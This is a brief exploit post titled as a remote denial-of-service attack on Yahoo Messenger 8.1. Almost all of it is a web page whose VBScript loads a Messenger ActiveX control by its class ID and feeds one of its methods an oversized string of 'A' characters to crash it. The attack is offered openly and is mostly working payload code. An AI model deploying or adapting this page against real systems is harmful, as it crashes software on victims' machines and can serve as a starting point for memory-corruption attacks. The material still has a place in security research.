Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit

Yahoo Messenger 8.1 (latest) Remote DoS
     Safe for Scripting, Safe for Initialize
     <html><body>
     <object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object>
     <script language=vbscript>
     arg1=String(517140, "A")
     target.c arg1
     </script>
     </body></html>